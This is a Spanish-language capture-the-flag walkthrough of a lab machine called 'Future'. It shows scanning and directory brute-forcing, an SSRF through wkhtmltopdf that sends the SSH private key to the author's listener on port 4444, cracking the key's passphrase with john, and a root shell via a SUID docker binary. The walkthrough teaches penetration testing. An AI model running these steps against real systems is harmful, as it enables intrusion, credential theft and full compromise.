# Future

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FbiC1NCG5OTf17bp65Pej%2Fimagen.png?alt=media&#x26;token=9b079681-b17e-43c1-ba57-466fbb96cea4" alt=""><figcaption></figcaption></figure>

Se analizarán los puertos y protocolos que contiene la máquina en cuestión.

```
sudo nmap -sS 192.168.79.131 -Pn -n -p- --min-rate 5000
[sudo] password for beel: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-02 10:48 CEST
Nmap scan report for 192.168.79.131
Host is up (0.0043s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:02:7B:8B (VMware)

Nmap done: 1 IP address (1 host up) scanned in 18.00 seconds
```

Se hará fuzzing (fuerza bruta de directorios) para poder ver que directorios tiene la web, en este caso debemos prestar atención en la dirección de `page.html`y `homework.html.`

```
gobuster dir -u http://192.168.79.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html,py,bak
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.79.131
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,html,py,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/images               (Status: 301) [Size: 317] [--> http://192.168.79.131/images/]
/index.html           (Status: 200) [Size: 1727]
/content              (Status: 301) [Size: 318] [--> http://192.168.79.131/content/]
/.html                (Status: 403) [Size: 279]
/page.html            (Status: 200) [Size: 714]
/assets               (Status: 301) [Size: 317] [--> http://192.168.79.131/assets/]
/process.php          (Status: 500) [Size: 0]
/1955.html            (Status: 200) [Size: 3808]
/2015.html            (Status: 200) [Size: 3786]
/transition           (Status: 301) [Size: 321] [--> http://192.168.79.131/transition/]
/1885.html            (Status: 200) [Size: 3869]
/homework.html        (Status: 200) [Size: 3318]
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]
Progress: 608658 / 1323366 (45.99%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 609025 / 1323366 (46.02%)
===============================================================
Finished
===============================================================
```

En la ruta homework.html podemos ver que tenemos la capacidad de poder subir archivos.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FjHSUTcnIShPlCiMVD8rR%2Fimagen.png?alt=media&#x26;token=b0ec48ca-844b-47d0-8bbc-3f8096df6c61" alt=""><figcaption></figcaption></figure>

Una vez subimos un archivo podemos comprobar que nos muestra un error de PDF.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2Fiz93oBe2wx4UkuNvi75E%2Fimagen.png?alt=media&#x26;token=145c08be-5d95-4368-afa5-48228f65aaac" alt=""><figcaption></figcaption></figure>

Haciendo una pequeña prueba vemos que hace uso de "wkhtmltopdf" el cuál se podría abusar de el para provocar un SSRF.

{% embed url="<https://www.exploit-db.com/exploits/51039>" %}

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2F5O59LOw0LS2V5JO3fBbT%2Fimagen.png?alt=media&#x26;token=3de82264-a182-4460-949b-0ec3c912b630" alt=""><figcaption></figcaption></figure>

Volvemos a `page.html` , vemos que hay un script, si lo copiamos tal como está y cambiamos la dirección URL, podremos obtener el id\_rsa, que es el archivo que está solicitando.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2FA6nB3tcEIcYBAT94Ou4K%2Fimagen.png?alt=media&#x26;token=04a1239c-1f55-4bd9-a0f6-b0b14740eb6f" alt=""><figcaption></figcaption></figure>

Como se puede apreciar hemos interceptado el tráfico con burpsuite, hemos cambiado la dirección ip para que me llegué a mi por el puerto 4444, lo recibimos en base64.

<figure><img src="https://3065455477-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FssurGKf5U53wE0c7opCF%2Fuploads%2F7EduVRi6IBzwGUO0H9NE%2Fimagen.png?alt=media&#x26;token=63a07056-5779-4209-9d82-de012bcf94af" alt=""><figcaption></figcaption></figure>

Una vez recibido, se podrá descodificar con `base64 -d`, obteniendo así la id\_rsa.

```
echo "LS0tLS1CRUdJTiB....." | base64 -d

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCjvb+7D7
saw/KWI+xUDG8oAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDR0pwUM/3I
nLgW+HFFzXN1tfBRaNtgQttCtVj62s1EmnXL1Cx6vVDP9mY3Y7rB9x0IoFf5UmUd7i03Uh
...
-----END OPENSSH PRIVATE KEY-----
```

Se procederá con la obtención del "`passphrase`" de la id\_rsa, para ello se deben seguir los siguientes pasos:

```
ssh2john id_rsa > pass
```

Después de esperar unos 15 minutos parece ser que la contraseña no está en el rockyou, por ello vamos a generar un par de diccionarios para lograr obtener el `passphrase` .

Usaremos `cewl` para poder crear diccionarios con el contenido de la web:

```
cewl -e -w dic http://192.168.79.131/         
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

// Sucesivamente con cada una de las rutas alternativas
// Una vez se juntaran todas y obtendremos la contraseña
```

```
john --wordlist=passwords pass
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password...    (id_rsa)     
1g 0:00:00:04 DONE (2024-05-02 11:48) 0.2155g/s 27.58p/s 27.58c/s 27.58C/s discovers..benefit
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

Se le darán permisos `600` a la id\_rsa, y para poder acceder por `ssh` utilizaremos la siguiente sintaxis:

### User.txt

```
ssh marty.mcfly@192.168.79.131 -i id_rsa
Enter passphrase for key 'id_rsa': 
Linux future 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 26 10:38:34 2024 from 192.168.1.45
marty.mcfly@future:~$ ls
user.txt
marty.mcfly@future:~$ cat user.txt
fe12df45c64c3******************
```

### Root.txt

Como se puede apreciar se puede escalar privilegios por `SUID` en concreto Docker ya que no debería estar ahí.

Buscándolo en `gtfobins`, podremos escalar y obtener la bandera de root:

```
marty.mcfly@future:~$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/chsh
/usr/bin/docker // PrivEsc
marty.mcfly@future:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
4abcf2066143: Pull complete 
Digest: sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
Status: Downloaded newer image for alpine:latest
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cat /root/root.txt
69c965c53f43ec68d************
```
